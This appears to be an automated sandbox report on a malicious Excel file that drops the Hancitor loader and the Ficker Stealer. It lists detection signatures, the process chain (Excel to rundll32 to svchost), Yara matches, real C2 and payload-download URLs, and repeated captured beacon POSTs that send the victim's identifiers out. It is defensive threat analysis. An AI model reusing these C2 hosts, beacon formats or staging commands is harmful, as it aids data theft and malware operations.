Play interactive tour

Edit tour

Windows Analysis Report 0722_2857746751.xls

Overview

General Information

Sample Name:	0722_2857746751.xls
Analysis ID:	452590
MD5:	97538e922b86b2ae95625d1e11e6aaf1
SHA1:	928e4d89b379bdd7c894787431a8d0b42f28a5a4
SHA256:	83c9c9beaca0a147e23995b84792f56cd130ccf262147374bd1114c2ac698fee
Infos:
Most interesting Screenshot:

Detection

Ficker Stealer Hancitor

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Suspect Svchost Activity

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected Ficker Stealer

Yara detected Hancitor

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Document contains OLE streams with PE executables

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Document exploit detected (process start blacklist hit)

May check the online IP address of the machine

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Suspicious Svchost Process

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Instant Messenger accounts or passwords

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2404 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

imjppdmg.exe (PID: 1360 cmdline: /Migration MD5: 3716DEC1E0B88BB19968BBC2659B02A1)

rundll32.exe (PID: 2384 cmdline: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2364 cmdline: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB MD5: 51138BEEA3E2C21EC44D0932C71762A8)

svchost.exe (PID: 2292 cmdline: C:\Windows\System32\svchost.exe MD5: 54A47F6B5E09A77E61649109C6A08866)

cleanup

Malware Configuration

Threatname: Hancitor

{"Campaign Id": "2207_xwpi67", "C2 list": ["http://tholeferli.com/8/forum.php", "http://aidgodown.ru/8/forum.php", "http://relifleappin.ru/8/forum.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp	JoeSecurity_Ficker_Stealer_1	Yara detected Ficker Stealer	Joe Security
00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
Process Memory Space: svchost.exe PID: 2292	JoeSecurity_Ficker_Stealer_1	Yara detected Ficker Stealer	Joe Security
Process Memory Space: rundll32.exe PID: 2364	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
5.3.rundll32.exe.1d438c.0.raw.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
5.3.rundll32.exe.1d438c.0.raw.unpack	Hancitor	Hancitor Payload	kevoreilly	0x116f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
5.3.rundll32.exe.1d438c.0.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
5.3.rundll32.exe.1d438c.0.unpack	Hancitor	Hancitor Payload	kevoreilly	0x56f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
5.2.rundll32.exe.340000.0.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
5.2.rundll32.exe.340000.0.unpack	Hancitor	Hancitor Payload	kevoreilly	0x116f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2364, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 2292

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB, CommandLine: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2404, ProcessCommandLine: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB, ProcessId: 2384

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2364, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 2292

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://s0lom0n.ru/7hsjfd9w4refsd.exe

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp

Malware Configuration Extractor: Hancitor {"Campaign Id": "2207_xwpi67", "C2 list": ["http://tholeferli.com/8/forum.php", "http://aidgodown.ru/8/forum.php", "http://relifleappin.ru/8/forum.php"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: pospvisis.com

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: 0722_2857746751.xls	Virustotal: Detection: 29%			Perma Link
Source: 0722_2857746751.xls	ReversingLabs: Detection: 22%

Source: 5.2.rundll32.exe.340000.0.unpack

Avira: Label: TR/Hijacker.Gen

Location Tracking:

Yara detected Hancitor

Show sources

Source: Yara match	File source: 5.3.rundll32.exe.1d438c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.1d438c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2364, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00342CD0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	5_2_00342CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00342D17 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	5_2_00342D17
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00342D98 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	5_2_00342D98
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00342D78 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	5_2_00342D78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00342D55 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	5_2_00342D55
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040BAB5 CryptUnprotectData,	7_2_0040BAB5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: c:\Star\danger\Air_Night\recei\Paragraph.pdb source: rundll32.exe, 00000005.00000002.2348584640.0000000000359000.00000002.00020000.sdmp, 0722_2857746751.xls

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\532.dll

Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 532.dll.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 54.235.88.121:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 54.235.88.121:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031074 ET TROJAN Win32/Ficker Stealer Activity 95.213.179.67:80 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 192.168.2.22:49173 -> 95.213.179.67:80
Source: Traffic	Snort IDS: 2031074 ET TROJAN Win32/Ficker Stealer Activity 95.213.179.67:80 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 192.168.2.22:49178 -> 95.213.179.67:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://tholeferli.com/8/forum.php
Source: Malware configuration extractor	URLs: http://aidgodown.ru/8/forum.php
Source: Malware configuration extractor	URLs: http://relifleappin.ru/8/forum.php

May check the online IP address of the machine

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 22 Jul 2021 14:11:04 GMTContent-Type: application/octet-streamContent-Length: 272910Connection: keep-aliveLast-Modified: Wed, 09 Jun 2021 16:00:40 GMTETag: "60c0e5a8-42a0e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 00 00 00 00 00 2a 04 00 00 00 00 00 e0 00 2f 03 0b 01 02 1e 00 50 03 00 00 26 04 00 00 06 00 00 80 14 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 04 00 00 04 00 00 81 81 04 00 02 00 00 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 04 00 a4 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 9b 03 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 52 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 4f 03 00 00 10 00 00 00 50 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 38 00 00 00 00 60 03 00 00 02 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 a8 2d 00 00 00 70 03 00 00 2e 00 00 00 56 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2f 34 00 00 00 00 00 00 14 90 00 00 00 a0 03 00 00 92 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 40 04 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 a4 0e 00 00 00 50 04 00 00 10 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 60 04 00 00 02 00 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 04 00 00 02 00 00 00 28 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 8.211.241.0 8.211.241.0

Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View	ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: GET /7hsjfd9w4refsd.exe HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: s0lom0n.ruCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: GET /?format=xml HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
